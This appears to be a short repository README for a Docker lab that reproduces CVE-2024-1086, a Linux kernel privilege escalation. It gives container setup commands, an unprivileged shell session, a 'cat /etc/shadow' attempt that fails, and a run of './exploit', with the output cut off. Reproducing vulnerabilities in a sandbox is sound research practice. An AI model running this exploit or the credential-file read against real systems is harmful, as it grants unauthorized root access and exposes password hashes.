alicey0719/docker-poc_cve-2024-1086Dockerisierter Proof-of-Concept für CVE-2024-1086, einen Linux-Kernel-Privilege-Escalation-Exploit, der über eine präparierte Binärdatei Root-Zugriff gewährt.
https://github.com/Notselwyn/CVE-2024-1086
docker compose up -d --build
docker exec -it poc_cve_2024_1086 bash
[tester@e23a4e5757d9 CVE-2024-1086]$ id
uid=99999(tester) gid=99999(tester) groups=99999(tester)
[tester@e23a4e5757d9 CVE-2024-1086]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[tester@e23a4e5757d9 CVE-2024-1086]$ ./exploit
...